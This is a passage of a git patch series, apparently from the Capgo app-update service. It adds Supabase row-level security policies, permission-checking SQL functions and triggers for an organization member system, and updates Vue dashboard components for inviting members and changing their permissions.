@@ -1965,7 +1995,7 @@ CREATE POLICY "Allow apikey to insert" ON "public"."apps" FOR INSERT TO "anon" W
 
 CREATE POLICY "Allow apikey to read" ON "public"."stats" FOR SELECT TO "anon" USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[]));
 
-CREATE POLICY "Allow apikey to select" ON "public"."app_versions" FOR SELECT TO "anon" USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{read,all}'::"public"."key_mode"[], "app_id"));
+CREATE POLICY "Allow apikey to select" ON "public"."app_versions" FOR SELECT TO "anon" USING (("public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"key_mode"[], "app_id") OR "public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"key_mode"[], "app_id", 'read'::"public"."user_min_right", "user_id")));
 
 CREATE POLICY "Allow apikey to update they app" ON "public"."apps" FOR UPDATE USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[])) WITH CHECK ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[]));
 
@@ -2035,6 +2065,22 @@ TO authenticated
 USING (check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint))
 WITH CHECK (check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint));
 
+CREATE POLICY "Allow org member to select " ON "public"."app_stats"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(user_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org members to select" ON "public"."devices"
+AS PERMISSIVE FOR SELECT
+TO public
+USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id((select user_id from apps where apps.app_id=app_id)), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org owner to all" ON "public"."org_users"
+AS PERMISSIVE FOR ALL
+TO authenticated
+USING (is_owner_of_org(auth.uid(), org_id))
+WITH CHECK (is_owner_of_org(auth.uid(), org_id));
+
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 
 CREATE POLICY "Disable for all" ON "public"."store_apps" USING (false) WITH CHECK (false);

From 47a43e276acfaccb6db738ada930c67e7d97bf82 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 4 Sep 2023 06:44:37 +0200
Subject: [PATCH 26/96] Further back end policies

---
 supabase/migrations/20230815171919_base.sql | 58 +++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 5a131ef5f1..1bf8cc1009 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -627,6 +627,32 @@ Begin
 End;  
 $$;
 
+CREATE FUNCTION "public"."get_user_id"("apikey" "text", "app_id" "text") RETURNS "uuid"
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare  
+ org_owner_id uuid;
+ real_user_id uuid;
+ org_id uuid;
+Begin
+  SELECT apps.user_id FROM apps WHERE apps.app_id=get_user_id.app_id into org_owner_id;
+  SELECT get_user_main_org_id(org_owner_id) INTO org_id;
+
+  -- (public.is_member_of_org(auth.uid(), org_id) OR public.is_owner_of_org(auth.uid(), org_id))
+  SELECT user_id
+  INTO real_user_id
+  FROM apikeys
+  WHERE key=apikey;
+
+  IF NOT ((public.is_member_of_org(real_user_id, org_id) OR public.is_owner_of_org(real_user_id, org_id)))
+  THEN
+    raise exception 'NO_RIGHTS';
+  END IF;
+
+  RETURN org_owner_id;
+End;  
+$$;
+
 CREATE FUNCTION "public"."has_min_right"("_userid" "uuid", "_orgid" "uuid", "_right" "public"."user_min_right", "_appid" character varying DEFAULT NULL::character varying, "_channelid" bigint DEFAULT NULL::bigint) RETURNS boolean
     LANGUAGE "plpgsql"
     AS $$
@@ -853,6 +879,26 @@ Begin
 End;  
 $$;
 
+CREATE FUNCTION "public"."is_allowed_capgkey"("apikey" "text", "keymode" "public"."key_mode"[], "app_id" character varying, "channel_id" int8, "right" "public"."user_min_right", "user_id" "uuid") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN (SELECT EXISTS (SELECT 1
+  FROM apikeys
+  WHERE key=apikey
+  AND mode=ANY(keymode))) AND (is_app_owner(get_user_id(apikey), app_id) OR check_min_rights(is_allowed_capgkey.right, get_user_id(apikey), get_user_main_org_id(user_id), app_id, "is_allowed_capgkey"."channel_id"));
+End;  
+$$;
+
+CREATE POLICY "Allow org member's API key to select" ON "public"."apps"
+AS PERMISSIVE FOR SELECT
+TO anon
+USING (is_allowed_capgkey(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{all,write,read}'::key_mode[], app_id, 'read'::user_min_right, user_id))
+
+CREATE POLICY "Allow org member's api key to select" ON "public"."channels"
+AS PERMISSIVE FOR SELECT
+TO anon
+USING (is_allowed_capgkey(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{read, upload, write, all}'::key_mode[], app_id, channels.id, 'read'::"public"."user_min_right", created_by))
 
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE FUNCTION "public"."is_app_owner"("userid" "uuid", "appid" character varying) RETURNS boolean
@@ -1038,6 +1084,14 @@ Begin
 End; 
 $$;
 
+CREATE OR REPLACE FUNCTION force_valid_user_id() RETURNS trigger
+   LANGUAGE plpgsql AS
+$$BEGIN
+    IF NEW."user_id" <> (select user_id from apps where app_id=NEW."app_id") THEN
+        RAISE EXCEPTION 'INVALID_USER_ID';
+    END IF;
+END;$$;
+
 CREATE OR REPLACE FUNCTION noupdate() RETURNS trigger
    LANGUAGE plpgsql AS
 $$BEGIN
@@ -1108,6 +1162,10 @@ CREATE TRIGGER noupdate
    BEFORE UPDATE ON channels FOR EACH ROW
    EXECUTE PROCEDURE noupdate();
 
+CREATE TRIGGER force_valid_user_id
+   BEFORE INSERT ON app_versions FOR EACH ROW
+   EXECUTE PROCEDURE force_valid_user_id();
+
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE FUNCTION "public"."is_onboarded"("userid" "uuid") RETURNS boolean
     LANGUAGE "plpgsql" SECURITY DEFINER

From fddbc0580aae47630708e4061e91e329c5a0b740 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 6 Sep 2023 17:31:23 +0200
Subject: [PATCH 27/96] Final org system changes

---
 locales/en.yml                                |   2 +
 src/components/dashboard/AppCard.vue          |   3 +-
 src/components/dashboard/Dashboard.vue        |   4 +-
 src/components/dashboard/SharedApps.vue       |  69 -----------
 src/components/dashboard/TopApps.vue          |   5 +-
 src/pages/app/p/[p]/channel/[channel].vue     |   6 -
 .../settings/organization/Members.vue         | 111 +++++++++++-------
 supabase/functions/_utils/supabase.types.ts   |  10 +-
 supabase/migrations/20230815171919_base.sql   |  91 +++++++++-----
 9 files changed, 144 insertions(+), 157 deletions(-)
 delete mode 100644 src/components/dashboard/SharedApps.vue

diff --git a/locales/en.yml b/locales/en.yml
index 7479109a60..0bc9b7374f 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -90,6 +90,7 @@ button-toggle_dark: Toggle dark mode
 button-toggle_langs: Change languages
 by-clicking-on-them: by clicking on them.
 cancel: Cancel
+cannot-change-permission: Cannot change permissions, check browser console
 cannot-delete-app: Cannot delete App
 cannot-delete-app-icon: Cannot delete app icon
 cannot-delete-app-version: Cannot delete app version
@@ -255,6 +256,7 @@ password-heading: Create Password
 password-hint: Enter a combination of at least 6 numbers, letters and punctuations.
 password-new: New Password
 percent-fail: Fail percentage
+permission-changed: Successfully changed user permission
 personal-information: Personal Informations
 plan-abtest: A / B testing
 plan-bandwidth: GB Bandwidth
diff --git a/src/components/dashboard/AppCard.vue b/src/components/dashboard/AppCard.vue
index 61e533b23d..0d5b7b4da9 100644
--- a/src/components/dashboard/AppCard.vue
+++ b/src/components/dashboard/AppCard.vue
@@ -16,6 +16,7 @@ import { appIdToUrl } from '~/services/conversion'
 const props = defineProps<{
   app: Database['public']['Tables']['apps']['Row']
   channel: string
+  deleteButton: boolean
 }>()
 const emit = defineEmits(['reload'])
 const displayStore = useDisplayStore()
@@ -177,7 +178,7 @@ watchEffect(async () => {
     </td>
     <td class="w-1/4 p-2" @click.stop="deleteApp(app)">
       <div class="text-center">
-        <IconTrash v-if="!channel" class="mr-4 text-lg text-red-600" />
+        <IconTrash v-if="!channel && deleteButton" class="mr-4 text-lg text-red-600" />
       </div>
     </td>
   </tr>
diff --git a/src/components/dashboard/Dashboard.vue b/src/components/dashboard/Dashboard.vue
index 10d9d47f88..46ee6fa335 100644
--- a/src/components/dashboard/Dashboard.vue
+++ b/src/components/dashboard/Dashboard.vue
@@ -47,8 +47,8 @@ watchEffect(async () => {
       <div class="grid grid-cols-12 gap-6">
         <!-- Line chart (Acme Plus) -->
         <!-- Table (Top Channels) -->
-        <TopApps :apps="props.apps" :header="t('top-apps')" @reload="emit('reloadApp')" />
-        <TopApps v-if="sharedApps.length > 0" :apps="props.sharedApps" :header="t('shared-apps')" @reload="emit('reloadApp')" />
+        <TopApps :apps="props.apps" :header="t('top-apps')" :delete-button="true" @reload="emit('reloadApp')" />
+        <TopApps v-if="sharedApps.length > 0" :apps="props.sharedApps" :header="t('shared-apps')" :delete-button="false" @reload="emit('reloadApp')" />
       </div>
     </div>
     <k-fab v-if="!stepsOpen && !isMobile" class="right-4-safe bottom-4-safe secondary fixed z-20" @click="stepsOpen = true">
diff --git a/src/components/dashboard/SharedApps.vue b/src/components/dashboard/SharedApps.vue
deleted file mode 100644
index ce09f3fece..0000000000
--- a/src/components/dashboard/SharedApps.vue
+++ /dev/null
@@ -1,69 +0,0 @@
-<script setup lang="ts">
-import { useI18n } from 'vue-i18n'
-import { kList } from 'konsta/vue'
-import AppCard from './AppCard.vue'
-import type { Database } from '~/types/supabase.types'
-
-const props = defineProps<{
-  sharedApps: (Database['public']['Tables']['channel_users']['Row'])[] & ChannelUserApp[]
-}>()
-const emit = defineEmits(['reload'])
-const { t } = useI18n()
-interface ChannelUserApp {
-  app_id: Database['public']['Tables']['apps']['Row']
-  channel_id: Database['public']['Tables']['channels']['Row'] & {
-    version: Database['public']['Tables']['app_versions']['Row']
-  }
-}
-</script>
-
-<template>
-  <div id="my_shared_apps" class="col-span-full border border-slate-200 rounded-lg bg-white shadow-lg xl:col-span-16 dark:border-slate-900 dark:bg-gray-800">
-    <header class="border-b border-slate-100 px-5 py-4">
-      <h2 class="font-semibold text-slate-800 dark:text-white">
-        {{ t('shared-apps') }}
-      </h2>
-    </header>
-    <div class="">
-      <!-- Table -->
-      <div class="hidden overflow-x-auto p-3 md:block">
-        <table class="w-full table-auto" aria-label="Table with shared apps">
-          <!-- Table header -->
-          <thead class="rounded-sm bg-slate-50 text-xs uppercase text-slate-400 dark:bg-gray-800 dark:text-white">
-            <tr>
-              <th class="w-60 p-2">
-                <div class="text-left font-semibold">
-                  {{ t('name') }}
-                </div>
-              </th>
-              <th class="w-60 p-2">
-                <div class="text-center font-semibold">
-                  {{ t('last-version') }}
-                </div>
-              </th>
-              <th class="w-60 p-2">
-                <div class="text-center font-semibold">
-                  {{ t('last-upload') }}
-                </div>
-              </th>
-              <th class="w-60 p-2">
-                <div class="text-center font-semibold">
-                  {{ t('channel') }}
-                </div>
-              </th>
-              <th class="w-60 p-2" />
-            </tr>
-          </thead>
-          <!-- Table body -->
-          <tbody class="text-sm font-medium divide-y divide-slate-100">
-            <!-- Row -->
-            <AppCard v-for="(app, i) in props.sharedApps" :key="app.app_id.app_id + i" :app="app.app_id" :channel="app.channel_id.name" @reload="emit('reload')" />
-          </tbody>
-        </table>
-      </div>
-      <k-list class="my-0 w-full md:hidden">
-        <AppCard v-for="(app, i) in props.sharedApps" :key="app.app_id.app_id + i" :app="app.app_id" :channel="app.channel_id.name" @reload="emit('reload')" />
-      </k-list>
-    </div>
-  </div>
-</template>
diff --git a/src/components/dashboard/TopApps.vue b/src/components/dashboard/TopApps.vue
index f294570aaa..840addcd6b 100644
--- a/src/components/dashboard/TopApps.vue
+++ b/src/components/dashboard/TopApps.vue
@@ -7,6 +7,7 @@ import type { Database } from '~/types/supabase.types'
 const props = defineProps<{
   apps: (Database['public']['Tables']['apps']['Row'])[]
   header: string
+  deleteButton: boolean
 }>()
 const emit = defineEmits(['reload'])
 const { t } = useI18n()
@@ -52,12 +53,12 @@ const { t } = useI18n()
           <!-- Table body -->
           <tbody class="text-sm font-medium divide-y divide-slate-100">
             <!-- Row -->
-            <AppCard v-for="(app, i) in props.apps" :key="app.app_id + i" :app="app" channel="" @reload="emit('reload')" />
+            <AppCard v-for="(app, i) in props.apps" :key="app.app_id + i" :delete-button="deleteButton" :app="app" channel="" @reload="emit('reload')" />
           </tbody>
         </table>
       </div>
       <k-list class="my-0 w-full md:hidden">
-        <AppCard v-for="(app, i) in props.apps" :key="app.app_id + i" :app="app" channel="" @reload="emit('reload')" />
+        <AppCard v-for="(app, i) in props.apps" :key="app.app_id + i" :delete-button="deleteButton" :app="app" channel="" @reload="emit('reload')" />
       </k-list>
     </div>
   </div>
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index ee1a1f4d2e..704792747e 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -16,7 +16,6 @@ import type { Database } from '~/types/supabase.types'
 import { useDisplayStore } from '~/stores/display'
 import IconSettings from '~icons/heroicons/cog-6-tooth'
 import IconInformations from '~icons/heroicons/information-circle'
-import IconUsers from '~icons/heroicons/users-solid'
 import IconDevice from '~icons/heroicons/device-phone-mobile'
 import type { Tab } from '~/components/comp_def'
 import { urlToAppId } from '~/services/conversion'
@@ -59,11 +58,6 @@ const tabs: Tab[] = [
     icon: IconInformations,
     key: 'info',
   },
-  {
-    label: t('shared-users'),
-    icon: IconUsers,
-    key: 'users',
-  },
   {
     label: t('devices'),
     icon: IconDevice,
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 452b766493..9fe17c9bfa 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -32,6 +32,8 @@ onMounted(async () => {
   members.value = await organizationStore.getMembers()
 })
 
+// Do not ask me, I don't know how to do it better
+// This was stolen from some stack overflow answer
 function validateEmail(email: string) {
   return String(email)
     .toLowerCase()
@@ -40,13 +42,50 @@ function validateEmail(email: string) {
     )
 }
 
+async function showPermModal(invite: boolean): Promise<Database['public']['Enums']['user_min_right'] | undefined> {
+  let permision: Database['public']['Enums']['user_min_right'] | undefined
+  displayStore.dialogOption = {
+    header: t('select-user-perms'),
+    message: t('select-user-perms-expanded'),
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('key-read'),
+        role: 'read',
+        handler: () => permision = invite ? 'invite_read' : 'read',
+      },
+      {
+        text: t('key-upload'),
+        role: 'upload',
+        handler: () => permision = invite ? 'invite_upload' : 'upload',
+      },
+      {
+        text: t('key-write'),
+        role: 'write',
+        handler: () => permision = invite ? 'invite_write' : 'write',
+      },
+      {
+        text: t('key-admin'),
+        role: 'admin',
+        handler: () => permision = invite ? 'invite_admin' : 'admin',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  await displayStore.onDialogDismiss()
+  return permision
+}
+
 async function showInviteModal() {
   if (!currentOrganization.value || !(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
     toast.error(t('no-permission'))
     return
   }
 
-  let permision: Database['public']['Enums']['user_min_right'] | undefined
+  let permisionPromise: Promise<Database['public']['Enums']['user_min_right'] | undefined> | undefined
   let email: string | undefined
 
   displayStore.dialogOption = {
@@ -60,7 +99,7 @@ async function showInviteModal() {
       {
         text: t('button-invite'),
         id: 'confirm-button',
-        handler() {
+        handler: async () => {
           const input = document.getElementById('dialog-input-field') as HTMLInputElement | undefined
           email = input?.value
 
@@ -74,47 +113,18 @@ async function showInviteModal() {
             return
           }
 
-          displayStore.dialogOption = {
-            header: t('select-user-perms'),
-            message: t('select-user-perms-expanded'),
-            buttons: [
-              {
-                text: t('button-cancel'),
-                role: 'cancel',
-              },
-              {
-                text: t('key-read'),
-                role: 'read',
-                handler: () => permision = 'invite_read',
-              },
-              {
-                text: t('key-upload'),
-                role: 'upload',
-                handler: () => permision = 'invite_upload',
-              },
-              {
-                text: t('key-write'),
-                role: 'write',
-                handler: () => permision = 'invite_write',
-              },
-              {
-                text: t('key-admin'),
-                role: 'admin',
-                handler: () => permision = 'invite_admin',
-              },
-            ],
-          }
-          displayStore.showDialog = true
+          permisionPromise = showPermModal(true)
         },
       },
     ],
   }
   displayStore.showDialog = true
   await displayStore.onDialogDismiss()
+  const permision = await permisionPromise
+
   if (!permision || !email)
     return
 
-  console.log(`KEY: ${permision}`)
   await sendInvitation(email, permision)
 }
 
@@ -134,7 +144,6 @@ async function sendInvitation(email: string, type: Database['public']['Enums']['
   if (error)
     throw error
 
-  console.log('invite data', data)
   handleSendInvitationOutput(data)
   members.value = await organizationStore.getMembers()
 }
@@ -154,7 +163,7 @@ function handleSendInvitationOutput(output: string) {
   }
 }
 
-async function didCancel(name: string) {
+async function didCancel() {
   displayStore.dialogOption = {
     header: t('alert-confirm-delete'),
     message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')}?`,
@@ -174,10 +183,9 @@ async function didCancel(name: string) {
 }
 
 async function deleteMember(member: ExtendedOrganizationMember) {
-  if (await didCancel(t('app')))
+  if (await didCancel())
     return
 
-  console.log('Delete member: ', member)
   if (member.aid === 0) {
     toast.error(t('cannot-delete-owner'))
     return
@@ -199,6 +207,21 @@ async function deleteMember(member: ExtendedOrganizationMember) {
 
   toast.success(t('member-deleted'))
 }
+
+async function changeMemberPermission(member: ExtendedOrganizationMember) {
+  const perm = await showPermModal(false)
+
+  if (!perm)
+    return
+
+  const { error } = await supabase.from('org_users').update({ user_right: perm }).eq('id', member.aid)
+  if (error) {
+    console.log('Error delete: ', error)
+    toast.error(t('cannot-change-permission'))
+  }
+
+  toast.success(t('permission-changed'))
+}
 </script>
 
 <template>
@@ -216,7 +239,7 @@ async function deleteMember(member: ExtendedOrganizationMember) {
       <dl class="divide-y divide-gray-500">
         <div v-for="member in members" :key="member.id">
           <div class="flex justify-between mt-2 mb-2 ml-2">
-            <div class="flex w-1/2">
+            <div class="flex">
               <img
                 v-if="member?.image_url" class="object-cover w-20 h-20 mask mask-squircle" :src="member.image_url"
                 width="80" height="80" alt="profile_photo"
@@ -224,15 +247,15 @@ async function deleteMember(member: ExtendedOrganizationMember) {
               <div v-else class="flex items-center justify-center w-20 h-20 text-4xl border border-black rounded-full dark:border-white">
                 <p>{{ 'N/A' }}</p>
               </div>
-              <div class="mt-auto mb-auto ml-auto">
-                {{ member.email }}
-              </div>
+            </div>
+            <div class="mt-auto mb-auto ml-auto mr-auto text-center">
+              {{ member.email }}
             </div>
             <div class="mt-auto mb-auto mr-4">
-              <button class="w-7 h-7 bg-transparent ml-4">
+              <button :class="`w-7 h-7 bg-transparent ml-4 ${(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner') && (member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="changeMemberPermission(member)">
                 <Wrench class="mr-4 text-lg text-[#397cea]" />
               </button>
-              <button v-if="(member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id || organizationStore.currentRole === 'admin') && member.uid !== currentOrganization?.created_by" class="w-7 h-7 bg-transparent ml-4" @click="deleteMember(member)">
+              <button :class="`w-7 h-7 bg-transparent ml-4 ${((member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id || organizationStore.currentRole === 'admin') && member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="deleteMember(member)">
                 <Trash class="mr-4 text-lg text-red-600" />
               </button>
             </div>
diff --git a/supabase/functions/_utils/supabase.types.ts b/supabase/functions/_utils/supabase.types.ts
index 3b1c7f92f1..4b64d3b8cf 100644
--- a/supabase/functions/_utils/supabase.types.ts
+++ b/supabase/functions/_utils/supabase.types.ts
@@ -1391,12 +1391,20 @@ export interface Database {
           storage: number
         }[]
       }
-      get_user_id: {
+      get_user_id:
+      | {
         Args: {
           apikey: string
         }
         Returns: string
       }
+    | {
+        Args: {
+          apikey: string
+          app_id: string
+        }
+        Returns: string
+      }
       has_min_right: {
         Args: {
           _userid: string
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 1bf8cc1009..1f25374e3d 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -421,7 +421,7 @@ Begin
   FROM app_versions
   WHERE app_id=appid
   AND name=name_version
-  AND user_id=get_user_id(apikey)));
+  AND user_id=get_user_id(apikey, appid)));
 End;  
 $$;
 
@@ -480,7 +480,7 @@ Begin
   FROM app_versions
   WHERE app_id=appid
   AND name=name_version
-  AND user_id=get_user_id(apikey));
+  AND user_id=get_user_id(apikey, appid));
 End;  
 $$;
 
@@ -833,6 +833,14 @@ Begin
 End;
 $$;
 
+CREATE FUNCTION "public"."is_allowed_action"("apikey" "text", "appid" "text") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN is_allowed_action_user(get_user_id(apikey, appid));
+End;
+$$;
+
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE FUNCTION "public"."is_allowed_action_user"("userid" "uuid") RETURNS boolean
     LANGUAGE "plpgsql" SECURITY DEFINER
@@ -890,16 +898,6 @@ Begin
 End;  
 $$;
 
-CREATE POLICY "Allow org member's API key to select" ON "public"."apps"
-AS PERMISSIVE FOR SELECT
-TO anon
-USING (is_allowed_capgkey(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{all,write,read}'::key_mode[], app_id, 'read'::user_min_right, user_id))
-
-CREATE POLICY "Allow org member's api key to select" ON "public"."channels"
-AS PERMISSIVE FOR SELECT
-TO anon
-USING (is_allowed_capgkey(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{read, upload, write, all}'::key_mode[], app_id, channels.id, 'read'::"public"."user_min_right", created_by))
-
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE FUNCTION "public"."is_app_owner"("userid" "uuid", "appid" character varying) RETURNS boolean
     LANGUAGE "plpgsql" SECURITY DEFINER
@@ -1084,15 +1082,17 @@ Begin
 End; 
 $$;
 
-CREATE OR REPLACE FUNCTION force_valid_user_id() RETURNS trigger
+CREATE OR REPLACE FUNCTION "public"."force_valid_user_id"() RETURNS trigger
    LANGUAGE plpgsql AS
 $$BEGIN
     IF NEW."user_id" <> (select user_id from apps where app_id=NEW."app_id") THEN
         RAISE EXCEPTION 'INVALID_USER_ID';
     END IF;
+
+    RETURN NEW;
 END;$$;
 
-CREATE OR REPLACE FUNCTION noupdate() RETURNS trigger
+CREATE OR REPLACE FUNCTION "public"."noupdate"() RETURNS trigger
    LANGUAGE plpgsql AS
 $$BEGIN
     -- API key? We do not care
@@ -1158,14 +1158,6 @@ $$BEGIN
    RETURN NEW;
 END;$$;
 
-CREATE TRIGGER noupdate
-   BEFORE UPDATE ON channels FOR EACH ROW
-   EXECUTE PROCEDURE noupdate();
-
-CREATE TRIGGER force_valid_user_id
-   BEFORE INSERT ON app_versions FOR EACH ROW
-   EXECUTE PROCEDURE force_valid_user_id();
-
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE FUNCTION "public"."is_onboarded"("userid" "uuid") RETURNS boolean
     LANGUAGE "plpgsql" SECURITY DEFINER
@@ -1912,6 +1904,14 @@ CREATE TRIGGER "handle_updated_at" BEFORE UPDATE ON "public"."stripe_info" FOR E
 
 CREATE TRIGGER "handle_updated_at" BEFORE UPDATE ON "public"."users" FOR EACH ROW EXECUTE FUNCTION "extensions"."moddatetime"('updated_at');
 
+CREATE TRIGGER noupdate
+   BEFORE UPDATE ON "public"."channels" FOR EACH ROW
+   EXECUTE PROCEDURE "public"."noupdate"();
+
+CREATE TRIGGER force_valid_user_id
+   BEFORE INSERT ON "public"."app_versions" FOR EACH ROW
+   EXECUTE PROCEDURE "public"."force_valid_user_id"();
+
 ALTER TABLE ONLY "public"."apikeys"
     ADD CONSTRAINT "apikeys_user_id_fkey" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE CASCADE;
 
@@ -2053,7 +2053,7 @@ CREATE POLICY "Allow apikey to insert" ON "public"."apps" FOR INSERT TO "anon" W
 
 CREATE POLICY "Allow apikey to read" ON "public"."stats" FOR SELECT TO "anon" USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[]));
 
-CREATE POLICY "Allow apikey to select" ON "public"."app_versions" FOR SELECT TO "anon" USING (("public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"key_mode"[], "app_id") OR "public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"key_mode"[], "app_id", 'read'::"public"."user_min_right", "user_id")));
+CREATE POLICY "Allow apikey to select" ON "public"."app_versions" FOR SELECT TO "anon" USING (("public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"public"."key_mode"[], "app_id") OR "public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"public"."key_mode"[], "app_id", 'read'::"public"."user_min_right", "user_id")));
 
 CREATE POLICY "Allow apikey to update they app" ON "public"."apps" FOR UPDATE USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[])) WITH CHECK ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[]));
 
@@ -2110,34 +2110,61 @@ USING (public.is_member_of_org(auth.uid(), id) OR public.is_owner_of_org(auth.ui
 CREATE POLICY "Allow org members to select" ON "public"."channels"
 AS PERMISSIVE FOR SELECT
 TO authenticated
-USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint));
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
 
 CREATE POLICY "Allow org members to select" ON "public"."app_versions"
 AS PERMISSIVE FOR SELECT
 TO authenticated
-USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(user_id), app_id, NULL::bigint));
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(user_id), app_id, NULL::bigint));
 
 CREATE POLICY "Allow org admins to edit" ON "public"."channels"
 AS PERMISSIVE FOR UPDATE
 TO authenticated
-USING (check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint))
-WITH CHECK (check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(created_by), NULL::character varying, NULL::bigint));
+USING ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint))
+WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
 
 CREATE POLICY "Allow org member to select " ON "public"."app_stats"
 AS PERMISSIVE FOR SELECT
 TO authenticated
-USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(user_id), app_id, NULL::bigint));
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(user_id), app_id, NULL::bigint));
 
 CREATE POLICY "Allow org members to select" ON "public"."devices"
 AS PERMISSIVE FOR SELECT
 TO public
-USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id((select user_id from apps where apps.app_id=app_id)), app_id, NULL::bigint));
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"((select user_id from "public"."apps" where apps.app_id=app_id)), app_id, NULL::bigint));
 
 CREATE POLICY "Allow org owner to all" ON "public"."org_users"
 AS PERMISSIVE FOR ALL
 TO authenticated
-USING (is_owner_of_org(auth.uid(), org_id))
-WITH CHECK (is_owner_of_org(auth.uid(), org_id));
+USING ("public"."is_owner_of_org"(auth.uid(), org_id))
+WITH CHECK ("public"."is_owner_of_org"(auth.uid(), org_id));
+
+CREATE POLICY "Allow org member's API key to select" ON "public"."apps"
+AS PERMISSIVE FOR SELECT
+TO anon
+USING ("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{all,write,read}'::"public"."key_mode"[], app_id, 'read'::"public"."user_min_right", user_id));
+
+CREATE POLICY "Allow org member's api key to select" ON "public"."channels"
+AS PERMISSIVE FOR SELECT
+TO anon
